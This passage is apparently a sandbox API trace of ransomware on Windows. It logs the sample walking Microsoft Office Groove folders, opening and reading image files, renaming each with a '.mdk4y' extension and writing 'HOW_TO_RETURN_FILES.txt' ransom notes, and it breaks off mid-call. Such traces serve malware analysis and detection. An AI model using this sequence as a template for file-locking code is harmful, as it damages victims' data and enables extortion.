lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0215.608] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.608] AreFileApisANSI () returned 1 [0215.608] GetACP () returned 0x4e4 [0215.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0215.608] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.608] AreFileApisANSI () returned 1 [0215.608] GetACP () returned 0x4e4 [0215.608] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DiscussionToolIconImages.jpg", cchWideChar=28, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="DiscussionToolIconImages.jpg9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 28 [0215.608] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829083900000) returned 1 [0215.609] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x393c, lpOverlapped=0x0) returned 1 [0215.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829084300000) returned 1 [0215.613] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829084300000) returned 1 [0215.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.mdk4y")) returned 1 [0215.614] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.614] AreFileApisANSI () returned 1 [0215.614] GetACP () returned 0x4e4 [0215.614] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DiscussionToolIconImagesMask.bmp", cchWideChar=32, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="DiscussionToolIconImagesMask.bmpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 32 [0215.614] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829084500000) returned 1 [0215.615] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1738, lpOverlapped=0x0) returned 1 [0215.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829085600000) returned 1 [0215.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829085600000) returned 1 [0215.626] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp.mdk4y")) returned 1 [0215.627] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0215.627] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0215.628] AreFileApisANSI () returned 1 [0215.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 105 [0215.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.645] GetFileType (hFile=0x130) returned 0x1 [0215.646] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0215.646] AreFileApisANSI () returned 1 [0215.646] GetACP () returned 0x4e4 [0215.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DocumentShare", cchWideChar=13, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="DocumentShareTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 13 [0215.646] AreFileApisANSI () returned 1 [0215.646] GetACP () returned 0x4e4 [0215.646] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=84, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\㲣瞈鑖瞣_") returned 84 [0215.647] AreFileApisANSI () returned 1 [0215.647] GetACP () returned 0x4e4 [0215.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0215.647] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.647] AreFileApisANSI () returned 1 [0215.647] GetACP () returned 0x4e4 [0215.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0215.647] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.647] AreFileApisANSI () returned 1 [0215.647] GetACP () returned 0x4e4 [0215.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WSSFilesToolHomePageBackground.jpg", cchWideChar=34, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="WSSFilesToolHomePageBackground.jpgqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 34 [0215.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829087800000) returned 1 [0215.648] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xab11, lpOverlapped=0x0) returned 1 [0215.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829088000000) returned 1 [0215.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829088000000) returned 1 [0215.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.mdk4y")) returned 1 [0215.651] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0215.651] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0215.652] AreFileApisANSI () returned 1 [0215.652] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6c0000, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 108 [0215.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0215.653] GetFileType (hFile=0x130) returned 0x1 [0215.653] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0215.653] AreFileApisANSI () returned 1 [0215.653] GetACP () returned 0x4e4 [0215.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveDocumentReview", cchWideChar=20, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveDocumentReviewpd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 20 [0215.654] AreFileApisANSI () returned 1 [0215.654] GetACP () returned 0x4e4 [0215.654] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=91, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\h") returned 91 [0215.661] AreFileApisANSI () returned 1 [0215.661] GetACP () returned 0x4e4 [0215.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0215.661] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.662] AreFileApisANSI () returned 1 [0215.662] GetACP () returned 0x4e4 [0215.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0215.662] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.662] AreFileApisANSI () returned 1 [0215.662] GetACP () returned 0x4e4 [0215.662] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ActiveTabImage.jpg", cchWideChar=18, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ActiveTabImage.jpg47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 18 [0215.662] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.663] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829089300000) returned 1 [0215.663] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2519, lpOverlapped=0x0) returned 1 [0215.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829089700000) returned 1 [0215.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829089700000) returned 1 [0215.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.mdk4y")) returned 1 [0215.670] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.670] AreFileApisANSI () returned 1 [0215.670] GetACP () returned 0x4e4 [0215.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ActiveTabImageMask.bmp", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="ActiveTabImageMask.bmp28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 22 [0215.670] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829090100000) returned 1 [0215.671] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xca8, lpOverlapped=0x0) returned 1 [0215.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091200000) returned 1 [0215.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091200000) returned 1 [0215.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp.mdk4y")) returned 1 [0215.684] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.684] AreFileApisANSI () returned 1 [0215.684] GetACP () returned 0x4e4 [0215.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BodyPaneBackground.jpg", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="BodyPaneBackground.jpg", lpUsedDefaultChar=0x37dda8) returned 22 [0215.684] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091500000) returned 1 [0215.685] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x9bd, lpOverlapped=0x0) returned 1 [0215.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091600000) returned 1 [0215.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091600000) returned 1 [0215.686] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.mdk4y")) returned 1 [0215.687] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.687] AreFileApisANSI () returned 1 [0215.687] GetACP () returned 0x4e4 [0215.687] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InactiveTabImage.jpg", cchWideChar=20, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="InactiveTabImage.jpgpg", lpUsedDefaultChar=0x37dda8) returned 20 [0215.687] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829091800000) returned 1 [0215.688] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x24ed, lpOverlapped=0x0) returned 1 [0215.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829092500000) returned 1 [0215.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829092500000) returned 1 [0215.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.mdk4y")) returned 1 [0215.697] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.697] AreFileApisANSI () returned 1 [0215.697] GetACP () returned 0x4e4 [0215.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InactiveTabImageMask.bmp", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="InactiveTabImageMask.bmprrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 24 [0215.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, 